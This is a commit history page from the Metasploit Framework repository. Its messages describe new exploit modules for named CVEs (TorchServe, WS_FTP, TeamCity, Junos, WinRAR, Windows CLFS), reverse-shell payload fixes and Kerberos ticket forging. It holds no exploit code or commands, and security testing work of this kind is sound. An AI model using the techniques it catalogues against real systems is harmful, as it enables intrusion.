Compare commits

...

1510 Commits

Author SHA1 Message Date
Jack Heysel d31a485d63 Land #18383, improves enum_computers module
This PR adds a variety of improvements to the
enum_computers module including shell and powershell
support as well as improvements to run on non-english
systems.
2023-10-12 13:01:54 -04:00
Metasploit 2fca548b31 automatic module_metadata_base.json update 2023-10-12 11:42:37 -05:00
adfoster-r7 80d2fa738d Land #18296, update more mysql modules to support newer authentication methods 2023-10-12 17:19:02 +01:00
Metasploit 01ce90ae8a automatic module_metadata_base.json update 2023-10-12 11:04:40 -05:00
Jack Heysel 1719d55c63 Land #18427, Add TorchServer SSRF + RCE module
This PR adds a module that exploits a series of vulns
which leads to RCE on affected TorchServers tagrets. It
also includes updates the the class_loader library.
2023-10-12 11:29:20 -04:00
Spencer McIntyre 86b7ec4518 Address comments from the review 2023-10-12 09:50:19 -04:00
Spencer McIntyre de8e392b7b Only randomize the URI once 2023-10-12 09:50:19 -04:00
Spencer McIntyre 5577413bd9 Add additional classes for payload loading
This fixes the java/shell_reverse_tcp payload
2023-10-12 09:27:26 -04:00
Spencer McIntyre 4f734379d3 Add module docs and print some messages 2023-10-12 09:27:26 -04:00
Spencer McIntyre 0799f9d860 Add a check method and populate module metadata 2023-10-12 09:27:26 -04:00
Spencer McIntyre f712c67441 Support URIPATH in Java::HTTP::ClassLoader
The URIPATH must end with / due to how the package names are requested
from the web server in a nested directory structure. #on_request_uri
also needed to be updated to check for the relative resource.
2023-10-12 09:27:26 -04:00
Spencer McIntyre 7a226ba285 Randomize components in the MAR file 2023-10-12 09:27:26 -04:00
Spencer McIntyre 5a6dc7f9a6 Initial commit of CVE-2023-43654 2023-10-12 09:27:26 -04:00
Rory McKinley 1b172768b4 Use upstream ruby-mysql in Remote::MYSQL
* ... and dependents
2023-10-12 13:08:35 +02:00
cgranleese-r7 3da17d2775 Addresses PR feedback 2023-10-12 10:59:29 +01:00
Jack Heysel 7f4a9c47fc Land #18355, Fixes OpenJDK reflection issue.
This PR updates metasploit-framework side for the
metasploit-payloads fix #672. This PR also includes
metasploit-framework PR #18445 which bumps the
metasploit-payloads gem version to 2.0.156.
2023-10-11 15:26:09 -04:00
Ashley Donaldson 874366588c Update metasploit side for java metasploit-payloads fix 2023-10-11 15:00:19 -04:00
Spencer McIntyre 7f7f106b92 Update metasploit-payloads gem to 2.0.156
Includes changes from:
* rapid7/metasploit-payloads#672
* rapid7/metasploit-payloads#678
2023-10-11 14:05:45 -04:00
adfoster-r7 6c33bf95f1 Land #18411, Fix incorrect scope condition when populating RHOSTS using services command 2023-10-11 13:29:31 +01:00
adfoster-r7 0e62f3c5cd Land #18444, spelling fixes on docs 2023-10-11 13:24:53 +01:00
h00die 7ffc1ca491 undo some spelling fixes when upstream has those issues 2023-10-11 06:30:11 -04:00
bwatters 6af8d3f6e6 Land #18431, Fix how port forwards are listed
Merge branch 'land-18431' into upstream-master
2023-10-10 16:56:11 -05:00
h00die 557a15a115 spelling fixes on docs 2023-10-10 14:46:18 -04:00
adfoster-r7 d427d64f6e Land #18435, wiki spelling fixes 2023-10-10 10:48:44 +01:00
h00die 76f5582a1a artica not artical or article 2023-10-06 19:55:40 -04:00
h00die 15413416a7 wiki spelling fixes 2023-10-06 19:51:39 -04:00
Metasploit b32fe19545 automatic module_metadata_base.json update 2023-10-06 16:55:04 -05:00
Jack Heysel fb834b235a Land #18417, Add Kibana Upgrade Assistant RCE
Kibana before version 7.6.3 suffers from a prototype
pollution bug within the Upgrade Assistant. This PR adds
an exploit module to exploit the bug. There is no CVE
for this issue at the moment.
2023-10-06 17:29:02 -04:00
jheysel-r7 fe9afc94c7 Update documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md 2023-10-06 16:45:52 -04:00
adfoster-r7 f7635b18e2 Land #18433, Remove reline dependency update 2023-10-06 18:13:59 +01:00
adfoster-r7 5e7097197d Remove reline dependency update 2023-10-06 17:56:06 +01:00
adfoster-r7 93fb0dd3b3 Land #18171, Enable using modules when deferred loading is turned on 2023-10-06 17:41:18 +01:00
dwelch-r7 022dca4b10 Land #18432, Update gem dependencies 2023-10-06 16:36:16 +01:00
Dean Welch ef871685af Revert accidental changes 2023-10-06 16:04:38 +01:00
Dean Welch 9eb4385a25 Get stats from the cache instead of from frameworks list of loaded modules 2023-10-06 16:04:38 +01:00
Dean Welch d60993f7e8 Enable using modules when deferred loading is turned on 2023-10-06 16:04:34 +01:00
adfoster-r7 d11f15b9af Update gem dependencies 2023-10-06 15:49:06 +01:00
h00die 931a67d290 kibana telemetry rce rewritten to use fetch payloads 2023-10-06 09:55:10 -04:00
dwelch-r7 9372d9c063 Land #18430, Add pin to rails 7.0.x 2023-10-06 14:49:42 +01:00
adfoster-r7 88c849de74 Add pin to rails 7.0.x 2023-10-06 14:08:57 +01:00
Spencer McIntyre d46e80f17f Fix how port forwards are listed
Fixes #18291
2023-10-06 09:04:28 -04:00
h00die a2a9becc73 convert cmd_stager to fetch payloads 2023-10-06 07:40:17 -04:00
adfoster-r7 f3c105916a Land #18256, general dependency update 2023-10-06 10:27:57 +01:00
bwatters a1304fe1a8 Land #18394, Add documentation for auxiliary/scanner/http/http_traversal module
Merge branch 'land-18394' into upstream-master
2023-10-05 15:18:20 -05:00
h00die 5e0538a239 review comments round 1 2023-10-05 13:12:33 -04:00
Metasploit ec33707381 Bump version of framework to 6.3.38 2023-10-05 12:08:28 -05:00
Simon Janusz faa3dd6b85 Land #18372, Fix error downloading a file from generic shell 2023-10-05 17:47:27 +01:00
cgranleese-r7 dff907b6ca Land #18425, Add history support to nasm and metasm shells 2023-10-05 17:20:31 +01:00
adfoster-r7 1f6009333e Add history support to nasm and metasm shells 2023-10-04 22:36:19 +01:00
bwatters 1ee7f03a2b Land #18420, Update user agent strings
Merge branch 'land-18420' into upstream-master
2023-10-04 14:13:04 -05:00
bwatters 4d369a8e52 Land #18424, Fix documentation for CVE-2023-40044 exploit module.
Merge branch 'land-18424' into upstream-master
2023-10-04 13:58:20 -05:00
bwatters 6cea8f750f Land #18277, Add new doc for writing a command injection exploit module
Merge branch 'land-18277' into upstream-master
2023-10-04 13:54:59 -05:00
bwatters a16379b2a7 Land #17919, Post::Windows::Service: Support start/stop service on shell sessions
Merge branch 'land-17919' into upstream-master
2023-10-04 13:51:25 -05:00
Jack Heysel 81e4f94869 Land #18412, Add a couple tips to metasploit 2023-10-04 13:45:33 -04:00
sfewer-r7 623b589fb5 When I removed the PowerShell target I forgot to update the documentation, this commit updates the documentation to reflect the changes made to the exploit module. 2023-10-04 17:03:28 +01:00
Metasploit 75225d0757 automatic module_metadata_base.json update 2023-10-04 09:37:46 -05:00
Spencer McIntyre 9eb0c336ab Land #18414, Exploit module for CVE-2023-40044
Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE)
2023-10-04 10:21:54 -04:00
Adam Robinson 329b4649e4 Approving cortex.yaml
PD-41096 Auto-add cortex.yaml
2023-10-04 12:44:40 +01:00
sfewer-r7 8431d11654 leverage Rex::MIME::Message instead of creating the multipart data manualy 2023-10-04 09:39:25 +01:00
sfewer-r7 ccd8c71ec6 change the payload space to 5000. This allows all the payloads I tested to work but also allows all the 3 gadget chains I tested to work. ClaimsPrincipal and TypeConfuseDelegate will fail if the space is too large. 2023-10-04 09:38:42 +01:00
bwatters 6aeffa5a17 Land #18363, Add support to msfvenom for "-f octal
Merge branch 'land-18363' into upstream-master
2023-10-03 16:21:57 -05:00
sfewer-r7 1be8e0245b remove the powershell target as the powershell command adapter will handle this for us (thanks Spencer). Increate the space to handle the larger powershell command lines. I tested with cmd/windows/powershell/x64/meterpreter/reverse_tcp and the powershell command length was 4404. 2023-10-03 17:48:37 +01:00
Metasploit 5dd2408b5c automatic module_metadata_base.json update 2023-10-03 06:45:57 -05:00
adfoster-r7 14c42fcefc Land #18405, Show errors on inaccessible payload files 2023-10-03 12:22:04 +01:00
sfewer-r7 2eacb75feb Add a reference to the AssetNote blog. Better describe what teh TARGET_URI option is for and why it defaults to /AHT/ 2023-10-03 11:17:21 +01:00
cgranleese-r7 92867ceed8 Land #18347, Update check method docs 2023-10-03 10:09:29 +01:00
cgranleese-r7 87d108aab5 Removes Meterpreter logic 2023-10-03 09:53:02 +01:00
Ashley Donaldson 2deb3a831a Update user agent strings 2023-10-03 11:47:23 +11:00
h00die 88eb44be64 kibana telemetry rce 2023-10-02 16:53:20 -04:00
Spencer McIntyre 3baf867c76 Update lib/msf/ui/tip.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-10-02 16:38:26 -04:00
bwatters 42f6bb8212 Update on feedback from jmartin 2023-10-02 14:29:20 -05:00
Jack Heysel 50e4269c05 Land #18338, Get crackable ASREP hashes
This PR fixes the ASREP roasting workflow and resolves
issue #17988.
2023-10-02 13:26:43 -04:00
sfewer-r7 1695a12c9c Explicitly state both the release name (e.g. 2022.0.2) and the version number (e.g. 8.8.2) in a more consistent way. 2023-10-02 17:40:11 +01:00
Metasploit b078e8e08f automatic module_metadata_base.json update 2023-10-02 10:18:33 -05:00
Jack Heysel 5087e0ffe3 Land #18197, Ldap login scanner module
Adds a new login scanner module for LDAP
2023-10-02 10:56:56 -04:00
sjanusz-r7 e70f356239 Show errors on inaccessible payload files 2023-10-02 14:46:25 +01:00
Simon Irwin 6cefa8f3d2 PD-41096 Auto-add cortex.yaml 2023-10-02 14:13:52 +01:00
Dean Welch 76a25c6937 Don't store creds for successful schannel ldap auth 2023-10-02 13:42:25 +01:00
adfoster-r7 c728671953 Land #18393, Update using metasploit docs 2023-10-02 13:37:54 +01:00
sfewer-r7 53ed4a632b add in exploit module for CVE-2023-40044 - WS_FTP unauthenticated RCE via .NET deserialization. 2023-10-02 11:42:19 +01:00
Metasploit 276b0ca53e automatic module_metadata_base.json update 2023-09-29 11:38:38 -05:00
Christophe De La Fuente 50155e3d94 Land #18389, Juniper Junos OS PHPRC Manipulation RCE (CVE-2023-36845) 2023-09-29 18:05:28 +02:00
Spencer McIntyre 5aee82e35a Add a couple of tips 2023-09-29 11:47:27 -04:00
Jack Heysel 37bc4ca51f Fixed root password resetting 2023-09-29 11:40:03 -04:00
Erik Geiser 49786101f7 Fix incorrect scope condition 2023-09-29 13:51:14 +02:00
Jack Heysel 2928d47312 Merge branch 'junos_phprc_auto_prepend_file' of github.com:jheysel-r7/metasploit-framework into junos_phprc_auto_prepend_file 2023-09-28 14:43:46 -04:00
Jack Heysel 58642c16c9 Changed WebSocket to SSH 2023-09-28 14:41:03 -04:00
jheysel-r7 4fecb4d2e2 Update documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-28 14:37:36 -04:00
Metasploit 8de942d9d9 Bump version of framework to 6.3.37 2023-09-28 13:32:45 -05:00
Jack Heysel 3f15de3995 Responded to Christophes suggestions 2023-09-28 14:26:37 -04:00
Metasploit d65db4580f automatic module_metadata_base.json update 2023-09-28 13:17:31 -05:00
Spencer McIntyre 36d8a34d39 Land #18408, JetBrains TeamCity CVE-2023-42793 2023-09-28 14:01:59 -04:00
Spencer McIntyre e7ab983279 Minor code changes
Changes include:
  * Remove the PAYLOAD key which didn't do anything
  * Add the missing payload size constraint
  * Use #retry_until_truthy
2023-09-28 13:19:26 -04:00
sfewer-r7 89940e8b08 use the correct naming convention for normal options. 2023-09-28 16:36:18 +01:00
sfewer-r7 9a6e2dab71 improve the check routine to explicitly look for either a header value or a cookie value that TeamCity is known to set 2023-09-28 16:28:16 +01:00
sfewer-r7 96568bf6d3 typo in comment 2023-09-28 16:05:46 +01:00
sfewer-r7 ad7ff705c7 add in a Linux target 2023-09-28 14:57:02 +01:00
sfewer-r7 fbd5e60cfc add in coverage for CVE-2023-42793. Currently only a Windows target. 2023-09-28 12:31:59 +01:00
Jeffrey Martin 5310d00d85 more general updates for security hygiene
* updates to sshkey adds support for ECDSA
* skips irb update due to added dependencies on psych that has added native build requirements
2023-09-27 15:45:49 -05:00
Jeffrey Martin ef27b6124f general dependency update
* general maintenance update for all gems
* used for security review of current updates
2023-09-27 15:34:03 -05:00
Metasploit d5d2a5207b automatic module_metadata_base.json update 2023-09-27 10:31:47 -05:00
errorxyz 5060bb13a8 Fix docs format in modules/auxiliary/scanner/http/http_traversal 2023-09-27 20:47:31 +05:30
Christophe De La Fuente bc8179e36d Land #18406, Fix pass by reference bug on the module side for windows error exploit 2023-09-27 17:16:20 +02:00
bwatters a4c6b11237 Fix pass by reference bug on the module side 2023-09-27 09:43:32 -05:00
Metasploit cce28a9cbf automatic module_metadata_base.json update 2023-09-27 08:54:43 -05:00
Christophe De La Fuente 1058291af9 Land #18314, Windows Error Reporting RCE (CVE-2023-36874) 2023-09-27 15:25:06 +02:00
Christophe De La Fuente 2c9932b242 Update documentation - Options section 2023-09-27 15:17:04 +02:00
bwatters a929d7b856 Added LICENSE info 2023-09-27 07:54:05 -05:00
Jack Heysel 3eaa4adcb7 rubocop 2023-09-26 18:48:33 -04:00
Jack Heysel 9a1881cbcf jvoisin suggestions 2023-09-26 18:42:14 -04:00
Jack Heysel 09f3a98d13 Finished JAIL_BREAK addition 2023-09-26 16:45:28 -04:00
bwatters 0b84feaf60 updates from code review 2023-09-26 14:03:31 -05:00
Jack Heysel b4539f174d Added JAIL_BREAK option and corresponding methods 2023-09-25 19:03:54 -04:00
adfoster-r7 aa2a8433fe Land #18399, fix multiple spelling mistakes 2023-09-25 10:00:54 +01:00
h00die d64ed33cdf code spell for a bunch of modules 2023-09-24 17:42:00 -04:00
bwatters be731f330e Add error checking and randomize the report directory 2023-09-22 14:43:21 -05:00
cgranleese-r7 9c02331184 Land #18392, Remove raised exception in acceptance tests 2023-09-22 10:41:57 +01:00
Jack Heysel 127f0104d2 Address review comments 2023-09-21 13:36:00 -04:00
errorxyz e6f55d06ec Add documentation for auxiliary/scanner/http_traversal module 2023-09-21 22:59:10 +05:30
Metasploit 0d6aee89dd Bump version of framework to 6.3.36 2023-09-21 12:05:50 -05:00
joev 1b25ae5e14 Add comment explaining UNSUPPORTED_LANGS in spec. 2023-09-21 08:53:26 -06:00
joev 75e9a0a834 Add support for base32/64 comments.
* Explicitly documents lack of support for VB style comments.
2023-09-21 08:50:58 -06:00
adfoster-r7 e84d433dde Update using metasploit docs 2023-09-21 14:53:00 +01:00
adfoster-r7 14ded7aa67 Remove raised exception in acceptance tests 2023-09-21 14:47:06 +01:00
Jack Heysel 12de4dd2c7 Improved request sending and added watchtower ref 2023-09-21 09:45:59 -04:00
cgranleese-r7 6fdcc43530 Removes mixin 2023-09-21 14:35:13 +01:00
Ashley Donaldson a7f2165029 Send default etypes first, and fall back to RC4 if it doesn't require pre-auth 2023-09-21 21:22:25 +10:00
Metasploit a6adf814fe automatic module_metadata_base.json update 2023-09-21 04:45:44 -05:00
Christophe De La Fuente 1e69086d24 Land #18365, TOTOLINK X5000R Wireless GigaBit Router Unauthenticed RCE [CVE-2023-30013] 2023-09-21 11:27:19 +02:00
joev 1d2dde9f81 Add comment support for "octal" format.
* Adds failing test that discovers several additional violations.
2023-09-20 17:24:00 -06:00
h00die-gr3y 6e11f4353b Updates addressing cdelafuente-r7 comments 2023-09-20 22:14:48 +00:00
Jack Heysel da8c020d14 Junos OS SRX and EX PHPRC Manipulation RCE 2023-09-20 16:47:05 -04:00
joev b1606264da Fix incorrect parameter docstring. 2023-09-20 14:30:05 -06:00
joev 91ce4c3d9d Add new spec for Msf::Simple::Payload. 2023-09-20 14:29:47 -06:00
bwatters 03fa034ff5 Actually delete the file I told you to delete 2023-09-20 09:10:51 -05:00
Dean Welch 1609836ea2 Don't store passwords to creds if the password wasn't needed for the auth type 2023-09-20 14:30:06 +01:00
cgranleese-r7 461e661d06 Makes improvement to enum_computers module 2023-09-20 12:50:39 +01:00
Simon Janusz 1ef030df76 Land #18380, Fix broken test suite when running in small console window 2023-09-20 11:03:57 +01:00
Metasploit 2722067108 automatic module_metadata_base.json update 2023-09-20 04:18:57 -05:00
cgranleese-r7 37b506c238 Land #18374, fix related modules references 2023-09-20 10:03:47 +01:00
bwatters b4a1bb8fa2 Add docs and support for shell sessions; update exe to work without runtime lib. 2023-09-19 17:50:18 -05:00
Metasploit 4065d01c7d automatic module_metadata_base.json update 2023-09-19 03:50:09 -05:00
Christophe De La Fuente 525c957af2 Land #18333, Lexmark Device Embedded Web Server RCE (CVE-2023-26068) 2023-09-19 10:32:59 +02:00
Metasploit d594a5f5a0 automatic module_metadata_base.json update 2023-09-18 17:16:38 -05:00
bwatters bfa876c3a1 Land #18283, Apache Airflow 1.10.10 - Example DAG Remote Code Execution
CVE-2020-11978 + CVE-2020-13927

Merge branch 'land-18283' into upstream-master
2023-09-18 17:00:19 -05:00
Metasploit 3646c91d7f automatic module_metadata_base.json update 2023-09-18 16:14:39 -05:00
adfoster-r7 4dd18d814e Land #18377, add support for HELO to smtp_relay auxiliary module in case EHLO is not supported 2023-09-18 21:59:24 +01:00
ErikWynter e5c922619b use res for check response code instead of res.inspect 2023-09-18 19:33:07 +03:00
adfoster-r7 d71883f55a Fix broken test suite when running in small console window 2023-09-18 16:40:47 +01:00
ErikWynter 75d2d20a04 check response code instead of text for downgrade to HELO 2023-09-18 17:25:04 +03:00
dwelch-r7 0fc88a8050 Land #18378, Remove left behind debug logging from prometheus exporter 2023-09-18 14:01:27 +01:00
adfoster-r7 8172f30204 Remove left behind debug logging from prometheus exporter 2023-09-18 13:47:36 +01:00
Metasploit 4a1ebe1a56 automatic module_metadata_base.json update 2023-09-18 07:20:12 -05:00
dwelch-r7 c1a44c8b7f Land #18359, Forge ticket fix 2023-09-18 13:05:25 +01:00
h00die 8d79d5afbd fix references 2023-09-18 06:56:18 -04:00
Metasploit ea3b8e91d9 automatic module_metadata_base.json update 2023-09-18 05:07:06 -05:00
cgranleese-r7 23dc1a487d Land #18321, Add Ivanti Avalanche MDM Buffer Overflow Exploit (CVE-2023-32560) 2023-09-18 10:43:45 +01:00
cgranleese-r7 2ed8b93e11 Land #18370, Fix msfrpc hanging when updating saved command history 2023-09-18 10:38:45 +01:00
ErikWynter 47bb57a1fe add support for HELO in case EHLO is not supported 2023-09-18 12:31:13 +03:00
Ismail Dawoodjee f9cdfef304 Move module and documentation from multi/http to linux/http
* Update documentation scenarios for Docker on Debian 10 and Kali Linux 6.4
* Slightly modify the documentation scenario for Docker on Windows 10
2023-09-17 22:42:26 +08:00
h00die dd947d49cc fix related modules references 2023-09-15 16:42:03 -04:00
h00die cd183194fd fix related modules references 2023-09-15 16:40:22 -04:00
h00die 13e7f6cc27 fix related modules references 2023-09-15 16:35:55 -04:00
joev 1d51514730 Add spec for format without comment support. 2023-09-15 12:35:45 -06:00
Ismail Dawoodjee d12b1778e5 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-15 22:06:43 +08:00
Simon Janusz 1378bfbfc7 Land #18294, pick up netifaces updates, improve error catching 2023-09-15 13:04:26 +01:00
adfoster-r7 a60e048e78 Fix msfrpc hanging when updating saved command history 2023-09-15 12:42:40 +01:00
Dean Welch 09c757513f Correct Msf::ValidationError namespacing 2023-09-15 12:23:49 +01:00
cgranleese-r7 ba9f879f64 Land #18369, Fix opt address local crash when ipaddr is nil 2023-09-15 11:09:43 +01:00
Carmix 1efb3f733f solves #18371 2023-09-15 11:36:15 +02:00
Metasploit 85cf00e68c automatic module_metadata_base.json update 2023-09-14 18:26:16 -05:00
Jack Heysel 46832abd49 Land #18358, Add a Thrift RPC client
This PR adds a Thrift RPC client and updates
two modules to make use of the new addition.
2023-09-14 19:01:13 -04:00
adfoster-r7 871e1f401b Fix OptAddressLocal crash when IPAddr is nil 2023-09-14 23:10:20 +01:00
Spencer McIntyre 0368b23af9 Add some basic specs for the client too 2023-09-14 17:45:09 -04:00
Spencer McIntyre bf9ef45c45 Add some specs for thrift data types 2023-09-14 17:16:32 -04:00
adfoster-r7 c558dae400 Land #18361, Adds new search keywords to msfconsole 2023-09-14 19:48:41 +01:00
h00die-gr3y 21cab0eccd updated documentation 2023-09-14 18:38:34 +00:00
h00die-gr3y 784f3118f0 third release module and documentation 2023-09-14 17:59:59 +00:00
Metasploit 126e6b6e7a Bump version of framework to 6.3.35 2023-09-14 12:10:09 -05:00
Ege Balcı cf4757a6cb Update installation steps. 2023-09-14 18:51:48 +02:00
Ege Balcı 9fbfe63b2f Update documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-09-14 16:39:15 +00:00
adfoster-r7 1b29c48193 Land #18362, Fix msfrpc hanging forever if rsock pair doesnt connect 2023-09-14 15:56:58 +01:00
h00die-gr3y 094685fa93 second release module 2023-09-14 13:12:33 +00:00
Metasploit c4396f2c6f automatic module_metadata_base.json update 2023-09-14 04:33:31 -05:00
Simon Janusz 8b56dc0117 Land #18250, CVE-2023-28252: Windows CLFS Driver Privilege Escalation 2023-09-14 10:18:29 +01:00
h00die-gr3y 4bb465bcee initial release module 2023-09-13 20:59:53 +00:00
joev 0b73e4ca7a Add support to msfvenom for "-f octal". 2023-09-13 12:17:22 -06:00
adfoster-r7 bc2fdba422 Fix msfrpc hanging forever if rsock pair doesnt connect 2023-09-13 17:41:00 +01:00
Ismail Dawoodjee 930063fe91 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-13 23:51:47 +08:00
cgranleese-r7 4bff7ddea1 Adds new search keywords to msfconsole 2023-09-13 16:41:05 +01:00
cgranleese-r7 814484cd29 Land #18357, Add additional error reporting to integration tests 2023-09-13 15:02:57 +01:00
Metasploit 95b882bb7c automatic module_metadata_base.json update 2023-09-13 04:30:49 -05:00
cgranleese-r7 e82bff37e1 Land #18330, Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035) 2023-09-13 10:15:59 +01:00
Ismail Dawoodjee 008701f431 Apply suggestions from code review
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-13 15:04:52 +08:00
Ashley Donaldson 5c93b3880a Don't add extra PACs for silver tickets 2023-09-13 15:41:09 +10:00
Ashley Donaldson 483e8175ca Update unit tests 2023-09-13 14:11:18 +10:00
Ismail Dawoodjee 78684dce8d Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-13 09:43:35 +08:00
Metasploit 6a84cc8a57 automatic module_metadata_base.json update 2023-09-12 18:27:42 -05:00
Spencer McIntyre 28c4902f4a Land #18180, Flask unsign library, related modules
Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library
2023-09-12 19:02:30 -04:00
adfoster-r7 30e66c43a4 Land #18343, add support for configurable DNS resolver to metasploit-framework 2023-09-12 22:56:37 +01:00
Spencer McIntyre c1cabdf099 Process escape sequences in the wordlist 2023-09-12 16:49:38 -04:00
Jack Heysel b83a49e573 Thanks to Spencer improved execute_command method 2023-09-12 15:14:10 -04:00
Spencer McIntyre 887740032c Add some lib docs 2023-09-12 14:00:34 -04:00
adfoster-r7 e070ba28da Add additional error reporting to integration tests 2023-09-12 17:32:18 +01:00
Spencer McIntyre 8e8b8ad191 Update nimbus_gettopologyhistory_cmd_exec 2023-09-12 12:21:10 -04:00
Spencer McIntyre 187cca848e Replace the binray blobs 2023-09-12 12:21:10 -04:00
Spencer McIntyre 2370171d5f Add more thrift types and methods for creating them 2023-09-12 12:21:03 -04:00
Dean Welch 5713b74cd4 Use constants for LDAP::Auth conditional 2023-09-12 14:41:58 +01:00
Ashley Donaldson 6b8fe05865 Add new PAC types required by DCs for accepting TGTs as valid 2023-09-12 17:19:10 +10:00
h00die 325910b080 update LICENSE with flask wordlist 2023-09-11 15:18:16 -04:00
Spencer McIntyre ba84c0484c Update the Nimbus module to use the Thrift client 2023-09-11 14:42:54 -04:00
Spencer McIntyre fbf95ecd92 Add and use a Thrift client object 2023-09-11 14:37:38 -04:00
h00die 94657d317b another round of review comments 2023-09-11 14:29:20 -04:00
Zach Goldman a13d45ec2d add unit test 2023-09-11 12:14:26 -05:00
Zach Goldman 615aa8dff5 pick up netifaces updates, improve error catching 2023-09-11 12:12:27 -05:00
Jack Heysel e105a56bda Merge branch 'clfs-driver-priv-esc' of github.com:jheysel-r7/metasploit-framework into clfs-driver-priv-esc 2023-09-11 13:11:59 -04:00
Jack Heysel b80f9a84e4 Updated check method and reliability 2023-09-11 13:10:57 -04:00
Dean Welch 586f27f44a Fix issue with username generation always adding domain 2023-09-11 16:35:31 +01:00
Dean Welch 1af852b240 Add remote ldap specs 2023-09-11 16:33:01 +01:00
Dean Welch 7a06ad8d5d Add ldap login scanner specs 2023-09-11 16:33:01 +01:00
Dean Welch 80757fc717 Add missing require 2023-09-11 16:33:01 +01:00
Dean Welch fc89c9939a Add LDAP login scanner 2023-09-11 16:33:01 +01:00
Dean Welch 8f013d7aef Add ldap login scanner module 2023-09-11 16:33:01 +01:00
Simon Janusz 0fcba5ee17 Land #17970, Fix #17969 Assign empty hash to variable status 2023-09-11 16:12:23 +01:00
cgranleese-r7 5ea6340f7e Land #18356, Update docker dependency versions 2023-09-11 16:11:37 +01:00
h00die 2ed001ced2 light review changes 2023-09-11 10:33:43 -04:00
h00die 235c142274 Merge remote-tracking branch 'origin/flask_unsign' into flask_unsign 2023-09-11 10:27:00 -04:00
Simon Janusz d91a9638fc Use empty hash instead of nil for nessus status 2023-09-11 15:20:18 +01:00
adfoster-r7 7aa54c5907 Update docker depdendency versions 2023-09-11 15:15:52 +01:00
cgranleese-r7 041bd3edc3 Land #18349, Add Meterpreter compatibility matrix generation 2023-09-11 12:24:58 +01:00
adfoster-r7 901938c0f1 Add Meterpreter compatibility matrix generation 2023-09-11 12:04:18 +01:00
cgranleese-r7 1e8866f8bd Land #18354, Show the tip while MSF is loading 2023-09-11 11:50:53 +01:00
h00die 15c6f0d9d3 Merge pull request #24 from zeroSteiner/h00die/flask_unsign
H00die/flask unsign
2023-09-08 20:18:12 -04:00
Metasploit 5a9eca74e6 automatic module_metadata_base.json update 2023-09-08 16:32:40 -05:00
Spencer McIntyre f1aea836f3 Land #18273, Add VMware vRealize Log Insight RCE
Add VMware vRealize Log Insight unauthenticated RCE exploit
2023-09-08 17:17:23 -04:00
Spencer McIntyre 21dde19511 Make some final tweaks
Change strings to reference `VMware` using the proper case. Don't
include CmdStager (because it's unnecessary). Set PrependFork to fix
shell payloads. Move CamelCase options to advanced.
2023-09-08 16:55:42 -04:00
Metasploit c7477ad786 automatic module_metadata_base.json update 2023-09-08 13:17:02 -05:00
bwatters fdae4953eb Land #18290, Prometheus API & Prometheus Node Exporter Interrogator
Merge branch 'land-18290' into upstream-master
2023-09-08 12:55:30 -05:00
Jack Heysel 96a6baa500 Land #17474, Add Windows 11 support for Capcom LPE
This PR adds support to the Capcom.sys LPE for Windows 11 21H1
2023-09-08 13:43:07 -04:00
jheysel-r7 0111e55006 Update modules/exploits/windows/local/capcom_sys_exec.rb 2023-09-08 13:05:44 -04:00
Metasploit fee5cc0497 automatic module_metadata_base.json update 2023-09-08 11:25:50 -05:00
Simon Janusz 5e8d00914f Land #18327, fix #18326 (ssl_version module bug when selecting specific ssl version) 2023-09-08 17:11:07 +01:00
Metasploit 6f6a4795f3 automatic module_metadata_base.json update 2023-09-08 11:06:04 -05:00
Simon Janusz 57f3b8a352 Land #18350, Add opentsdb_key_cmd_injection exploit module and docs 2023-09-08 16:50:46 +01:00
Spencer McIntyre 11c09b9f27 Show the tip while MSF is loading
Give the users something to read while things are loading instead of
waiting until everything is ready to go.
2023-09-08 11:33:29 -04:00
Simon Janusz 18103b032d Add docs for opentsdb_key_cmd_injection 2023-09-08 16:08:18 +01:00
Spencer McIntyre 40716cb28b Make the separator configurable 2023-09-08 08:56:45 -04:00
Metasploit 6e1753d435 automatic module_metadata_base.json update 2023-09-08 06:05:09 -05:00
Simon Janusz 7302394ffa Land #18316, Kibana Timelion Prototype Pollution RCE (CVE-2019-7609) 2023-09-08 11:50:47 +01:00
Simon Janusz fb4a7186a5 Land #18262, Makes some adjustments to the favorites command 2023-09-08 11:34:08 +01:00
Metasploit f6320cfd33 automatic module_metadata_base.json update 2023-09-08 05:11:37 -05:00
Christophe De La Fuente a33f03d100 Land #18302, Sonicwall rce CVE-2023-34124 2023-09-08 11:48:07 +02:00
Simon Janusz 740f026cbf Land #18270, Improve tab completion for set command 2023-09-08 10:08:39 +01:00
Metasploit 4b5335e3c6 automatic module_metadata_base.json update 2023-09-07 16:15:09 -05:00
bwatters 946794c3f8 Land #18341, add CVE-2023-38831 for Winrar 6.22
Merge branch 'land-18341' into upstream-master
2023-09-07 15:59:36 -05:00
Metasploit 3ebd27b93f automatic module_metadata_base.json update 2023-09-07 15:45:23 -05:00
Jack Heysel ef4a9dd239 Land #18329, Add LG Simple Editor RCE module
This PR adds an unauth RCE module for LG Simple Editor
2023-09-07 16:21:10 -04:00
Spencer McIntyre 6afde75c59 Print the connection string 2023-09-07 16:20:03 -04:00
Spencer McIntyre 2ded62a783 Update the module with validation functionality 2023-09-07 16:20:03 -04:00
Spencer McIntyre 143e1c82b5 Add validation functionality to FlaskUnsign 2023-09-07 16:19:58 -04:00
xaitax adae68d288 Update winrar_cve_2023_38831.rb 2023-09-07 22:01:49 +02:00
Alex 4d2277faa3 Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-07 21:46:24 +02:00
Alex 51d80b626f Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-07 21:46:16 +02:00
Alex 8b40f56fd7 Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
